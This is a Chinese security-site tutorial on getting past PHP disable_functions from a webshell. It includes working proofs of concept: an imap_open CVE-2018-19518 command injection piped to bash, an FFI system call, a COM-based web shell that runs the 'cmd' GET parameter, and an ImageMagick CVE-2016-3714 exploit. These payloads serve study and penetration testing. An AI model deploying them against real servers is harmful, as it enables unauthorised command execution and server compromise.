freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

不只会利用工具:理解bypass disable_functions
2022-01-02 23:18:30
所属地 四川省

前言

可能很多人在使用蚁剑执行终端命令时都经历过如下场景:

image.png

不能执行命令的webshell不是好黑客!出现该问题的原因往往是网站维护者禁用了一些命令执行的函数,操作方法很简单,在php.ini中找到disable_functions项,然后禁用命令执行的相关函数

disable_functions = passthru,exec,system,popen,chroot……

disable_functions信息也可以在phpinfo中获取

image.png

其实很多webshell都有针对bypass disable_functions的插件,这里推荐一手蚁剑的插件

image.png

使用蚁剑的这款工具就能解决大部分disable_functions的问题了,但如果我们对其技术原理不了解,单纯的使用工具时总会存在一种不安感。也许我们可以更加了解绕过disable_functions的技术,这样在实战时就会具有更多灵活的手段

首先我们要知道绕过 disable_functions 的大概手法:

  • 寻找未禁用的函数

  • 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果

  • 攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;

  • mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制

寻找漏网之鱼

不过这个属于黑名单的防御方式,最简单的绕过方法就是寻找其它没有禁用函数

首先我们要知道哪些函数可以执行系统命令:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

然后我们可以对比phpinfo中的disable_functions信息去寻找漏网之鱼

这里推荐一个github的项目:https://github.com/l3m0n/Bypass_Disable_functions_Shell,被逼到绝路了可以试试

然后把该项目的shell.php上传到目标web目录下然后访问,将会得到一些禁用函数和可用函数的信息
image.png

如果学的再深一点,可以去看看命令执行底层原理探究:https://www.anquanke.com/post/id/226292

pcntl_exec

  • 使用条件:Linux、安装且启用了pcntl插件

这里介绍一个可能最容易忽略的函数pcntl_exec,pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定程序

pcntl是linux下的一个扩展,可以支持php的多线程操作。pentl插件信息也可以在phpinfo()中获取到

image.png

pcntl_exec使用如下,$path为linux可执行文件路径,如ping命令位于/usr/bin/ping。$args为一个数组,可作为传递执行文件的参数

pcntl_exec(string $path, array $args = ?, array $envs = ?): void

使用示例:

<?php
$path = '/usr/bin/ping';
$arg =  ['-c','1','example.com'];
pcntl_exec($path,$arg);

imap_open

  • 使用条件:Linux,存在imap_open函数,php.ini中imap.enable_insecure_rsh= On,且php版本符合要求

在phpinof中可以看到相关条件image.png

imap_open() 曾经爆出一个命令执行漏洞,如下第一个参数$mailbox可控时就可能导致命令执行。漏洞编号CVE-2018-19518

imap_open(string $mailbox,……)

该漏洞的原理是$mailbox参数可能会作为底层调用ssh命令的参数,通过构造-oProxyCommand参数实现命令执行

如下所示:

$ ssh -oProxyCommand="touch test" localhost
kex_exchange_identification: Connection closed by remote host
$ ls | grep test
test  

该漏洞后面应该被php官方修复了,影响版本有限,而且默认情况下该函数也不是很好利用,该方法只能在走投无路时尝试尝试。所以这里就不详细研究其原理,知道有这些知识点就行。

这里直接给出poc,来自博主:https://clq0.top/bypass-disable_function-php/

<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

image.png

具体影响版本:PHP 5.6.0至PHP 5.6.38;PHP 7.0.0至PHP 7.0.32;PHP 7.1.0至PHP 7.1.24;PHP 7.2.0至PHP 7.2.12

LD_PRELOAD

  • 使用条件:Linux;putenv()可用;一些能够启动外部程序的函数如mail()、error_log()可用;存在可写的目录, 需要上传.so 文件

LD_PRELOAD是Linux系统的一个环境变量,可以设置成一个指定库的路径,动态链接时较其他库有着更高的优先级。然后就有大佬想到自己编写一个函数库,使用LD_PRELOAD变量提升自己库的优先级,从而实现劫持系统函数。开始很多人都会劫持getuid函数,如/usr/sbin/sendmail,/bin/sh等程序就会调用getuid的函数库,而php中常见的mail()方法就能触发/usr/sbin/sendmail和/bin/sh等程序,从而触发我们自己编写的函数库

后面大佬们又发现了劫持启动进程的方法,就无需考虑劫持哪个函数了,有了更高的成功率

其详细原理可参考:LD_PRELOAD的偷梁换柱之能 有趣的 LD_PRELOAD

这里主要关注下实战操作,可以利用大佬编译好的so文件:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

然后把bypass_disablefunc.php、bypass_disablefunc_x64.so上传到服务器中

image.png

然后按照访问bypass_disablefunc.php,按照提示的参数即可执行命令,十分简单

image.png

回头看看蚁剑插件的使用,选择LD_PRELOAD,在putenv和error_log函数可以使用时基本可以成功

image.png

执行后web目录会多处两个文件

image.png

我们创建副本,重新链接.antproxy.php,此时就可以执行命令了

image.png

image.png

LD_PRELOAD绕过disable_functions的体验还是很不错的,只要putenv函数没被禁用,基本上就能使用这个方法。所以这其实也算一种绕过黑名单的方式,不过这个方法太经典实用,这里单独一节讲解

PHP7.4 FFI扩展

  • 使用条件:php>=7.4,具有FFI扩展

PHP7.4增加了一个FFI(Foreign Function Interface)扩展,即外部函数接口。简单地说,就是一项在PHP里能够调用C代码的技术。当PHP所有的命令执行函数被禁用后,我们可以尝试一下该扩展,使用示例如下:

<?php
$ffi = FFI::cdef("int system (const char* command);");	# 声明C语言中的system函数
$ffi->system("ls");	
?>

利用Windows系统组件COM

  • 使用条件:Windows且C:\WindowsSystem32\wshom.ocx文件没有被删除;com.allow_dcom开启;php安装了php_com_dotnet.dll扩展并且启用

Windows系统组件COM在Windows默认就存在,位于C:\\WindowsSystem32,php通过调用该组件也能实现命令执行

首先在php.ini 中开启com.allow_dcom,然后在php/ext/里面查找是否存在php_com_dotnet.dll这个文件,再到php.ini中查看是否存在extension=php_com_dotnet.dll这项

com.allow_dcom = true
extension=php_com_dotnet.dll

在phpinfo中可以看到该扩展的信息

image.png

利用代码如下:这里创建一个COM对象,然后通过调用COM对象的exec()方法来实现执行系统命令

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;

利用ImageMagick漏洞绕过

  • 利用条件:安装了漏洞版本的imagemagick(6.9及以前版本都可以尝试);安装了php-imagick拓展并在php.ini中启用;PHP >= 5.4

imagemagick是一个用于处理图片的程序,该程序曾经爆出过一个漏洞(CVE-2016-3714),漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令

如果看到目标系统phpinfo中存在此信息可用以下exp测试一下:

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
   $command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

参考:

无需sendmail:巧用LD_PRELOAD突破disable_functions :https://www.freebuf.com/web/192052.html

https://github.com/l3m0n/Bypass_Disable_functions_Shell

Bypass Disable Functions

https://clq0.top/bypass-disable_function-php

浅谈几种Bypass disable_functions的方法原理讲解的浅显易懂

PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录